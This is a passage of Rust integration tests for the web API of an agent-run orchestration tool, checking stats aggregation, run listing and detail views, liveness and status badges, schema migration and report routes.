18500 let f = Fixture::start().await;
18501 let stats = f.get("/api/stats").await;
18502 assert_eq!(stats.status, 200);
18503 assert_eq!(stats.json()["totals"]["runs"], 0);
18504 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18505 assert_eq!(stats.json()["runs_unreadable"], 0);
18506 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18507 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18508 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18509 assert_eq!(stats.json()["repo"], Value::Null);
18510 }
18511
18512 #[tokio::test]
18513 async fn stats_lists_every_repository_with_runs_recorded() {
18514 let f = Fixture::start().await;
18515 write_run_repo(
18516 &f.runs(),
18517 "20260902-140501-a",
18518 RunStatus::Merged,
18519 "/repos/a",
18520 );
18521 write_run_repo(
18522 &f.runs(),
18523 "20260902-140502-b",
18524 RunStatus::Merged,
18525 "/repos/a",
18526 );
18527 write_run_repo(
18528 &f.runs(),
18529 "20260902-140503-c",
18530 RunStatus::Blocked,
18531 "/repos/b",
18532 );
18533
18534 let stats = f.get("/api/stats").await;
18535 assert_eq!(stats.status, 200);
18536 assert_eq!(stats.json()["totals"]["runs"], 3);
18538 assert_eq!(stats.json()["repo"], Value::Null);
18539
18540 let repos = stats.json()["repos"].clone();
18541 let repos = repos.as_array().unwrap();
18542 assert_eq!(repos.len(), 2);
18543 assert_eq!(repos[0]["repo"], "/repos/a");
18545 assert_eq!(repos[0]["name"], "a");
18546 assert_eq!(repos[0]["runs"], 2);
18547 assert_eq!(repos[1]["repo"], "/repos/b");
18548 assert_eq!(repos[1]["runs"], 1);
18549 }
18550
18551 #[tokio::test]
18552 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18553 let f = Fixture::start().await;
18554 write_run_repo(
18555 &f.runs(),
18556 "20260902-140501-a",
18557 RunStatus::Merged,
18558 "/repos/a",
18559 );
18560 write_run_repo(
18561 &f.runs(),
18562 "20260902-140502-b",
18563 RunStatus::Blocked,
18564 "/repos/b",
18565 );
18566
18567 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18568 assert_eq!(stats.status, 200);
18569 assert_eq!(stats.json()["totals"]["runs"], 1);
18570 assert_eq!(stats.json()["totals"]["merged"], 1);
18571 assert_eq!(stats.json()["repo"], "/repos/a");
18572 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18575 assert_eq!(stats.json()["runs_unreadable"], 0);
18578 }
18579
18580 #[tokio::test]
18581 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18582 let f = Fixture::start().await;
18583 write_run_repo(
18584 &f.runs(),
18585 "20260902-140501-a",
18586 RunStatus::Merged,
18587 "/repos/a",
18588 );
18589 write_run_repo(
18590 &f.runs(),
18591 "20260902-140502-b",
18592 RunStatus::Merged,
18593 "/repos/b",
18594 );
18595
18596 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18597 let json = f.get(uri).await.json();
18598 let daily = json["daily"].as_array().expect("daily is an array");
18599 assert_eq!(daily.len(), 30);
18600 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18601 let mut sorted = dates.clone();
18602 sorted.sort();
18603 assert_eq!(dates, sorted);
18604 for d in daily {
18605 assert_eq!(
18606 d["merged"].as_u64().unwrap()
18607 + d["ready"].as_u64().unwrap()
18608 + d["other"].as_u64().unwrap(),
18609 d["runs"].as_u64().unwrap()
18610 );
18611 }
18612 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18613 }
18614 }
18615
18616 #[tokio::test]
18617 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18618 let f = Fixture::start().await;
18619 write_run_repo(
18620 &f.runs(),
18621 "20260902-140501-a",
18622 RunStatus::Merged,
18623 "/repos/a",
18624 );
18625
18626 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18627 assert_eq!(stats.status, 404);
18628 }
18629
18630 #[tokio::test]
18631 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18632 let f = Fixture::start().await;
18633 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18634
18635 let summary = f.get("/api/runs").await.json();
18636 let row = &summary[0];
18637 assert_eq!(row["short"], "a1b2");
18638 assert_eq!(row["status"], "ready");
18639 assert_eq!(row["done"], true);
18640 assert_eq!(row["title"], "Add a web UI");
18641 assert_eq!(row["repo_name"], "magi");
18642 assert_eq!(row["judges"], 3);
18643 assert_eq!(row["winner"], Value::Null);
18644 assert_eq!(row["reviews"], 0);
18645
18646 let detail = f.get("/api/runs/a1b2").await;
18649 assert_eq!(detail.status, 200);
18650 assert_eq!(detail.json()["base_branch"], "main");
18651 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18652 }
18653
18654 #[tokio::test]
18662 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18663 let f = Fixture::start().await;
18664
18665 let mut none_run = RunState::new(
18666 PathBuf::from("/repo/magi"),
18667 "main".to_owned(),
18668 "0123456789abcdef".to_owned(),
18669 "Add a web UI".to_owned(),
18670 Config::default(),
18671 );
18672 none_run.id = "20260902-140503-none".to_owned();
18673 none_run.status = RunStatus::Ready;
18674 none_run.merge = Some(crate::run::MergeOutcome {
18675 mode: crate::config::MergeMode::None,
18676 ok: true,
18677 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18678 empty: false,
18679 });
18680 write_state(&f.runs(), &none_run);
18681
18682 let mut pr_run = RunState::new(
18683 PathBuf::from("/repo/magi"),
18684 "main".to_owned(),
18685 "0123456789abcdef".to_owned(),
18686 "Add a web UI".to_owned(),
18687 Config::default(),
18688 );
18689 pr_run.id = "20260902-140504-prcl".to_owned();
18690 pr_run.status = RunStatus::Ready;
18691 pr_run.merge = Some(crate::run::MergeOutcome {
18692 mode: crate::config::MergeMode::Pr,
18693 ok: false,
18694 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18695 empty: false,
18696 });
18697 write_state(&f.runs(), &pr_run);
18698
18699 let summary = f.get("/api/runs").await.json();
18700 let rows: std::collections::HashMap<&str, &Value> = summary
18701 .as_array()
18702 .expect("an array")
18703 .iter()
18704 .map(|r| (r["id"].as_str().expect("an id"), r))
18705 .collect();
18706 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18707 assert_eq!(
18708 rows[none_run.id.as_str()]["unmerged_by_design"],
18709 true,
18710 "a mode-none Ready must be flagged in the list"
18711 );
18712 assert_eq!(
18713 rows[pr_run.id.as_str()]["unmerged_by_design"],
18714 false,
18715 "a Ready reached by a closed pull request is a different case"
18716 );
18717
18718 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18719 assert_eq!(none_detail["status"], "ready");
18720 assert_eq!(none_detail["unmerged_by_design"], true);
18721
18722 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18723 assert_eq!(pr_detail["unmerged_by_design"], false);
18724 }
18725
18726 #[tokio::test]
18731 async fn run_core_survives_unavailable_related_stores() {
18732 let home = TempDir::new().unwrap();
18733 let ui = delta_test_ui(home.path());
18734 let state = RunState::new(
18735 PathBuf::from("/repo/magi"),
18736 "main".into(),
18737 "0123456789abcdef".into(),
18738 "Useful core instructions".into(),
18739 Config::default(),
18740 );
18741 let dir = ui.runs.join(&state.id);
18742 std::fs::create_dir_all(&dir).unwrap();
18743 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18744 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18745 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18746 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18747 .await
18748 .unwrap()
18749 .0;
18750 assert_eq!(core.state.instruction, state.instruction);
18751 assert_eq!(core.state.updated_at, state.updated_at);
18752 assert!(core.task.is_none());
18753 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18754 }
18755
18756 #[tokio::test]
18757 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18758 let f = Fixture::start().await;
18759 let id = "20260902-140502-bbbb";
18763 let mut state = RunState::new(
18764 PathBuf::from("/repo/magi"),
18765 "main".to_owned(),
18766 "0123456789abcdef".to_owned(),
18767 "Add a web UI".to_owned(),
18768 Config::default(),
18769 );
18770 state.id = id.to_owned();
18771 state.status = RunStatus::Judging;
18772 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18773 let dir = f.runs().join(id);
18774 std::fs::create_dir_all(&dir).expect("run dir");
18775 std::fs::write(
18776 dir.join("run.json"),
18777 serde_json::to_string_pretty(&state).expect("serialize run"),
18778 )
18779 .expect("write run.json");
18780
18781 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18787 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18788 assert_eq!(cold["live"], "unknown", "{cold}");
18789
18790 write_daemon(f.home.path(), Timestamp::now());
18793 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18794 assert_eq!(warm["live"], "live", "{warm}");
18795 }
18796
18797 #[test]
18798 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18799 let home = tempfile::tempdir().expect("temp home");
18800 let runs = home.path().join("runs");
18801 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18802 let mut state = RunState::new(
18803 PathBuf::from("/repo/magi"),
18804 "main".to_owned(),
18805 "0123456789abcdef".to_owned(),
18806 "Generated review context, not authored task criteria".to_owned(),
18807 Config::default(),
18808 );
18809 state.origin = origin;
18810 state.status = RunStatus::Blocked;
18811 state.driver_exited = false;
18813 state.gate_ran = true;
18814 let expected = serde_json::to_value(&state).expect("serialize current state");
18815 let mut legacy = expected.clone();
18816 legacy["schema"] = serde_json::json!(13);
18817 legacy.as_object_mut().unwrap().remove("task_instruction");
18818 let dir = runs.join(&state.id);
18819 std::fs::create_dir_all(&dir).expect("run dir");
18820 let path = dir.join("run.json");
18821 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18822 std::fs::write(&path, &body).expect("write legacy run");
18823
18824 for loaded in [
18825 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18826 read_run(&runs, &state.id).expect("web migration"),
18827 ] {
18828 assert_eq!(loaded.schema, crate::run::SCHEMA);
18829 assert!(loaded.task_instruction.is_none());
18830 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18831 }
18832 assert_eq!(runs_unreadable(&runs), 0);
18833 assert_eq!(std::fs::read(&path).unwrap(), body);
18834 }
18835 }
18836
18837 #[tokio::test]
18840 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18841 let f = Fixture::start().await;
18842 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18843 let mut state = RunState::new(
18844 PathBuf::from("/repo/magi"),
18845 "main".to_owned(),
18846 "0123456789abcdef".to_owned(),
18847 "Add a web UI".to_owned(),
18848 Config::default(),
18849 );
18850 state.id = id.to_owned();
18851 state.origin = origin;
18852 let mut value = serde_json::to_value(&state).expect("serialize run");
18853 if let Some(schema) = schema {
18854 value["schema"] = serde_json::json!(schema);
18855 value.as_object_mut().unwrap().remove("origin");
18856 }
18857 let dir = f.runs().join(id);
18858 std::fs::create_dir_all(&dir).expect("run dir");
18859 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18860 };
18861 write(
18862 "20260930-092817-ec34",
18863 Some(crate::run::Origin::from_agent_env(
18864 Some(("4a7b".to_owned(), "chat".to_owned())),
18865 None,
18866 )),
18867 None,
18868 );
18869 write("20260930-092817-0ld1", None, Some(12));
18870
18871 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18872 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18873 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18874
18875 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18876 assert_eq!(
18877 old["origin_label"], "origin unknown (started before origins were recorded)",
18878 "{old}"
18879 );
18880 assert!(old["origin"].is_null(), "{old}");
18881
18882 let list = f.get("/api/runs").await.json();
18883 let labels: Vec<_> = list
18884 .as_array()
18885 .unwrap()
18886 .iter()
18887 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18888 .collect();
18889 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18890 }
18891
18892 #[tokio::test]
18899 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18900 let f = Fixture::start().await;
18901 let id = "20260922-090000-cccc";
18902 let mut state = RunState::new(
18903 PathBuf::from("/repo/magi"),
18904 "main".to_owned(),
18905 "0123456789abcdef".to_owned(),
18906 "Review only".to_owned(),
18907 Config::default(),
18908 );
18909 state.id = id.to_owned();
18910 state.status = RunStatus::Reviewing;
18911 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18912 state.driver_pid = Some(std::process::id());
18918 state.driver_started_at = Some(
18919 crate::proc::process_started_at(std::process::id())
18920 .expect("this test process's own start time must be queryable"),
18921 );
18922 let dir = f.runs().join(id);
18923 std::fs::create_dir_all(&dir).expect("run dir");
18924 std::fs::write(
18925 dir.join("run.json"),
18926 serde_json::to_string_pretty(&state).expect("serialize run"),
18927 )
18928 .expect("write run.json");
18929
18930 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18931 assert_eq!(detail["live"], "live", "{detail}");
18932 }
18933
18934 #[tokio::test]
18940 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18941 let f = Fixture::start().await;
18942 let id = "20260922-090100-dddd";
18943 let mut state = RunState::new(
18944 PathBuf::from("/repo/magi"),
18945 "main".to_owned(),
18946 "0123456789abcdef".to_owned(),
18947 "Review only".to_owned(),
18948 Config::default(),
18949 );
18950 state.id = id.to_owned();
18951 state.status = RunStatus::Reviewing;
18952 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18953 state.driver_pid = Some(std::process::id());
18958 state.driver_started_at = Some("1".to_owned());
18959 let dir = f.runs().join(id);
18960 std::fs::create_dir_all(&dir).expect("run dir");
18961 std::fs::write(
18962 dir.join("run.json"),
18963 serde_json::to_string_pretty(&state).expect("serialize run"),
18964 )
18965 .expect("write run.json");
18966
18967 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18968 assert_eq!(detail["live"], "dead", "{detail}");
18969 }
18970
18971 #[test]
18975 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18976 let mk = |id: &str, pid: Option<u32>| {
18977 let mut s = RunState::new(
18978 PathBuf::from("/repo/magi"),
18979 "main".to_owned(),
18980 "0123456789abcdef".to_owned(),
18981 "Add a web UI".to_owned(),
18982 Config::default(),
18983 );
18984 s.id = id.to_owned();
18985 s.driver_pid = pid;
18986 s.driver_started_at = Some("1790000000".to_owned());
18987 s
18988 };
18989 let states = vec![
18990 mk("20260902-140502-aaaa", Some(77)),
18991 mk("20260902-140502-bbbb", Some(77)),
18992 mk("20260902-140502-cccc", Some(77)),
18993 mk("20260902-140502-dddd", None),
18994 ];
18995 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18996 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18997 let sup: HashMap<String, String> = [(
18998 "20260902-140502-aaaa".to_owned(),
18999 "20260902-140502-cccc".to_owned(),
19000 )]
19001 .into();
19002
19003 let status_calls = std::cell::Cell::new(0);
19004 let identity_calls = std::cell::Cell::new(0);
19005 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19006 |_| {
19007 status_calls.set(status_calls.get() + 1);
19008 Some(true)
19009 },
19010 |_| {
19011 identity_calls.set(identity_calls.get() + 1);
19012 Some("1790000000".to_owned())
19013 },
19014 ));
19015 let rows = summarize(
19016 states,
19017 &open,
19018 &claimed,
19019 &sup,
19020 |p| probe.borrow_mut().status(p),
19021 |p| probe.borrow_mut().started_at(p),
19022 );
19023
19024 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19025 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19026 assert_eq!(rows.len(), 4);
19027 assert!(!rows[0].waiting && rows[1].waiting);
19028 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19029 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19030 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19031 assert_eq!(rows[1].superseded_by, None);
19032 }
19033
19034 #[test]
19035 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19036 let mut state = RunState::new(
19037 PathBuf::from("/repo/magi"),
19038 "main".to_owned(),
19039 "0123456789abcdef".to_owned(),
19040 "Review only".to_owned(),
19041 Config::default(),
19042 );
19043 state.id = "20260922-090200-dead".to_owned();
19044 state.status = RunStatus::Reviewing;
19045 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19046 .expect("serialize list row");
19047 assert_eq!(row["status"], "reviewing");
19048 assert_eq!(row["display_status"], "stale");
19049 assert_eq!(row["live"], "dead", "{row}");
19050 assert!(!row["done"].as_bool().unwrap());
19051 }
19052
19053 #[test]
19054 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19055 use crate::run::Liveness::{Dead, Live, Unknown};
19056 let mut state = RunState::new(
19057 PathBuf::from("/repo/magi"),
19058 "main".to_owned(),
19059 "abc".to_owned(),
19060 "Review only".to_owned(),
19061 Config::default(),
19062 );
19063 for (status, parked, node, waiting, live, expected) in [
19064 (
19065 RunStatus::Judging,
19066 true,
19067 "github-text",
19068 false,
19069 Dead,
19070 "parked",
19071 ),
19072 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19073 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19074 (
19075 RunStatus::Judging,
19076 true,
19077 "github-text",
19078 true,
19079 Dead,
19080 "waiting",
19081 ),
19082 (
19083 RunStatus::Judging,
19084 false,
19085 "github-text",
19086 true,
19087 Dead,
19088 "waiting",
19089 ),
19090 (
19091 RunStatus::Judging,
19092 false,
19093 "github-text",
19094 false,
19095 Dead,
19096 "stale",
19097 ),
19098 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19099 (RunStatus::Judging, true, "park", false, Live, "judging"),
19100 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19101 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19102 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19103 (
19104 RunStatus::Blocked,
19105 true,
19106 "github-text",
19107 true,
19108 Dead,
19109 "waiting",
19110 ),
19111 ] {
19112 state.status = status;
19113 state.parked = parked;
19114 state.events.clear();
19115 state.event(
19116 "park",
19117 "an earlier park does not determine the latest state",
19118 );
19119 state.event(node, "message is not used for classification");
19120 let summary = RunSummary::of(&state, waiting, live);
19121 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19122 assert_eq!(
19123 summary.display_status, expected,
19124 "{status:?}/{node}/{live:?}"
19125 );
19126 assert_eq!(detail.display_status, summary.display_status);
19127 assert_eq!(detail.waiting, summary.waiting);
19128 }
19129 state.status = RunStatus::Judging;
19130 state.parked = false;
19131 state.events.clear();
19132 assert_eq!(run_display_status(&state, false, Dead), "stale");
19133 }
19134
19135 #[test]
19136 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19137 use crate::run::Liveness::{Dead, Live, Unknown};
19138 let mut state = RunState::new(
19139 PathBuf::from("/repo/magi"),
19140 "main".to_owned(),
19141 "abc".to_owned(),
19142 "Badge".to_owned(),
19143 Config::default(),
19144 );
19145 for (status, waiting, live, superseded, expected) in [
19146 (RunStatus::Gating, false, Dead, false, "stale"),
19147 (RunStatus::Gating, false, Dead, true, "superseded"),
19148 (RunStatus::Gating, false, Unknown, true, "superseded"),
19149 (RunStatus::Gating, true, Dead, true, "superseded"),
19150 (RunStatus::Gating, true, Dead, false, "waiting"),
19151 (RunStatus::Gating, false, Unknown, false, "gating"),
19152 (RunStatus::Gating, false, Live, true, "gating"),
19153 (RunStatus::Gating, true, Live, true, "waiting"),
19154 (RunStatus::Merged, false, Dead, true, "merged"),
19155 (RunStatus::Blocked, false, Dead, true, "blocked"),
19156 ] {
19157 state.status = status;
19158 let display = run_display_status(&state, waiting, live);
19159 assert_eq!(
19160 run_badge_status(&state, &display, live, superseded),
19161 expected,
19162 "{status:?}/{live:?}/superseded={superseded}"
19163 );
19164 }
19165 }
19166
19167 #[test]
19168 fn summarize_and_detail_expose_badge_status() {
19169 use crate::run::Liveness::Dead;
19170 let mut state = RunState::new(
19171 PathBuf::from("/repo/magi"),
19172 "main".to_owned(),
19173 "abc".to_owned(),
19174 "Badge".to_owned(),
19175 Config::default(),
19176 );
19177 state.status = RunStatus::Gating;
19178 let none = HashSet::new();
19179 let id = state.id.clone();
19180 let mut by = HashMap::new();
19181 let rows = summarize(
19182 [state.clone()],
19183 &none,
19184 &none,
19185 &by,
19186 |_| Some(false),
19187 |_| None,
19188 );
19189 assert_eq!(rows[0].badge_status, rows[0].display_status);
19191 by.insert(id, "20260901-000000-913b".to_owned());
19192 let detail = RunDetailView::of(
19193 state.clone(),
19194 false,
19195 Dead,
19196 Some("913b".to_owned()),
19197 None,
19198 None,
19199 );
19200 assert_eq!(detail.badge_status, "superseded");
19201 let json = serde_json::to_value(&detail).unwrap();
19202 assert_eq!(json["badge_status"], "superseded");
19203 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19204 assert_eq!(detail.badge_status, "stale");
19205 }
19206
19207 #[tokio::test]
19208 async fn run_display_status_routes_share_the_open_question_store() {
19209 let f = Fixture::start().await;
19210 let id = "20260922-090200-abcd";
19211 write_run(&f.runs(), id, RunStatus::Judging);
19212 let mut state = read_run(&f.runs(), id).unwrap();
19213 state.parked = true;
19214 state.driver_exited = true;
19215 state.event("github-text", "waiting for the owner");
19216 state.save_under(f.home.path()).unwrap();
19217 let mut task = Task::new(
19218 "resumed task".to_owned(),
19219 "do it".to_owned(),
19220 PathBuf::from("/repo"),
19221 Source::Human,
19222 );
19223 task.runs = vec![id.to_owned(), id.to_owned()];
19224 f.queue().put(&mut task).unwrap();
19225 let store = f.questions();
19226 let mut q = Question::new(
19227 id.to_owned(),
19228 "github-text".to_owned(),
19229 "owner".to_owned(),
19230 "Approve the text?".to_owned(),
19231 String::new(),
19232 Vec::new(),
19233 );
19234 store.put(&mut q).unwrap();
19235 for expected in ["waiting", "parked"] {
19236 let list = f.get("/api/runs").await.json();
19237 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19238 assert_eq!(list[0]["display_status"], expected);
19239 assert_eq!(detail["display_status"], expected);
19240 assert_eq!(detail["waiting"], list[0]["waiting"]);
19241 assert_eq!(list[0]["badge_status"], expected);
19242 assert_eq!(detail["badge_status"], expected);
19243 assert!(list[0]["superseded_by"].is_null());
19244 assert!(detail["superseded_by"].is_null());
19245 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19246 let history = task_detail["history"].as_array().unwrap();
19247 assert_eq!(history.len(), 2);
19248 assert!(history[0]["badge"].is_null());
19249 assert_eq!(history[1]["badge"], expected);
19250 q.status = ask::QuestionStatus::Answered;
19251 store.put(&mut q).unwrap();
19252 }
19253 }
19254
19255 #[tokio::test]
19256 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19257 let f = Fixture::start().await;
19258 let id = "20260922-090200-abcd";
19259 write_run(&f.runs(), id, RunStatus::Judging);
19260 let mut state = read_run(&f.runs(), id).unwrap();
19261 state.parked = true;
19262 state.driver_exited = true;
19263 state.event("park", "stopped at a node boundary");
19264 state.save_under(f.home.path()).unwrap();
19265
19266 for expected in ["parked", "stale"] {
19267 let list = f.get("/api/runs").await.json();
19268 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19269 assert_eq!(list[0]["live"], "dead");
19270 assert_eq!(list[0]["display_status"], expected);
19271 assert_eq!(detail["display_status"], expected);
19272 state.parked = false;
19275 state.save_under(f.home.path()).unwrap();
19276 }
19277 }
19278
19279 #[tokio::test]
19280 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19281 let f = Fixture::start().await;
19282 for id in [
19283 "20260902-140501-aaaa",
19284 "20260902-140502-bbbb",
19285 "20260902-140503-cccc",
19286 ] {
19287 write_run(&f.runs(), id, RunStatus::Merged);
19288 }
19289
19290 let all = f.get("/api/runs").await.json();
19291 let capped = f.get("/api/runs?limit=2").await.json();
19292
19293 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19294 assert_eq!(all.as_array().map(Vec::len), Some(3));
19295 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19296 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19297 }
19298
19299 #[tokio::test]
19300 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19301 let f = Fixture::start().await;
19302 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19303
19304 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19305
19306 assert_eq!(res.status, 200);
19307 assert!(
19308 res.headers
19309 .contains("content-type: text/plain; charset=utf-8"),
19310 "a browser must render it, not download it: {}",
19311 res.headers
19312 );
19313 assert!(
19317 res.body.contains("20260902-140501-a1b2"),
19318 "the report is about the run that was asked for: {}",
19319 res.body
19320 );
19321 }
19322
19323 #[tokio::test]
19324 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19325 crate::run::pin_test_home();
19327 let f = Fixture::start().await;
19328 let id = "20260902-140501-a1b2";
19329 write_run(&f.runs(), id, RunStatus::Stalled);
19330 let path = f.runs().join(id).join("run.json");
19333 let mut v: serde_json::Value =
19334 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19335 v["tally"] = serde_json::json!({
19336 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19337 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19338 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19339 "met_quorum": false, "rankings": 1
19340 });
19341 v["reviews"] = serde_json::json!([{
19342 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19343 "e2e_deferred": true,
19344 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19345 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19346 ]}]
19347 }]);
19348 std::fs::write(&path, v.to_string()).unwrap();
19349 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19350 std::fs::write(
19351 f.runs().join("20260902-140502-dead").join("run.json"),
19352 "{not json",
19353 )
19354 .unwrap();
19355
19356 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19357
19358 assert_eq!(res.status, 200, "{}", res.body);
19359 assert!(res.headers.contains("content-type: application/json"));
19360 let j = res.json();
19361 assert_eq!(j["schema"], 1);
19362 assert_eq!(j["header"]["id"], id);
19363 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19364 let kinds: Vec<&str> = j["sections"]
19365 .as_array()
19366 .unwrap()
19367 .iter()
19368 .map(|s| s["kind"].as_str().unwrap())
19369 .collect();
19370 assert_eq!(kinds, ["candidates", "tally", "review"]);
19371 let tally = &j["sections"][1]["tally"];
19372 assert_eq!(
19373 (tally["decided"].clone(), tally["provisional"].clone()),
19374 (false.into(), true.into())
19375 );
19376 let round = &j["sections"][2]["rounds"][0];
19377 assert_eq!(round["e2e"]["state"], "deferred");
19378 assert_eq!(round["findings"][0]["severity"], "major");
19379 assert_eq!(round["findings"][0]["blocking"], true);
19380 assert_eq!(round["findings"][0]["state"], "open");
19381
19382 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19384
19385 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19387 assert_ne!(bad.status, 200, "{}", bad.body);
19388 assert_eq!(
19389 bad.status,
19390 f.get("/api/runs/20260902-140502-dead/report").await.status
19391 );
19392 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19393 assert_eq!(
19394 f.get("/api/runs/20260902-999999-ffff/report.json")
19395 .await
19396 .status,
19397 404
19398 );
19399 }
19400
19401 #[tokio::test]
19402 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19403 crate::run::pin_test_home();
19404 let f = Fixture::start().await;
19405 let id = "20260902-140503-delib";
19406 write_run(&f.runs(), id, RunStatus::Merged);
19407 let path = f.runs().join(id).join("run.json");
19408 let mut v: serde_json::Value =
19409 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19410 v["judgements"] = serde_json::json!([
19411 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19412 ]);
19413 v["tally"] = serde_json::json!({
19414 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19415 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19416 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19417 "met_quorum": true, "rankings": 1
19418 });
19419 v["deliberation"] = serde_json::json!([
19420 {
19421 "round": 1,
19422 "turns": [
19423 {
19424 "judge": 1,
19425 "agent": "judge-1",
19426 "body": "I prefer candidate **A** because it has cleaner tests.",
19427 "tentative": "A"
19428 }
19429 ]
19430 },
19431 {
19432 "round": 2,
19433 "turns": [
19434 {
19435 "judge": 1,
19436 "agent": "judge-1",
19437 "body": "Still thinking, no choice yet.",
19438 "tentative": null
19439 }
19440 ]
19441 }
19442 ]);
19443 std::fs::write(&path, v.to_string()).unwrap();
19444
19445 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19446 assert_eq!(res.status, 200, "{}", res.body);
19447 let j = res.json();
19448 let judging = j["sections"]
19449 .as_array()
19450 .unwrap()
19451 .iter()
19452 .find(|s| s["kind"] == "judging")
19453 .expect("judging section exists");
19454
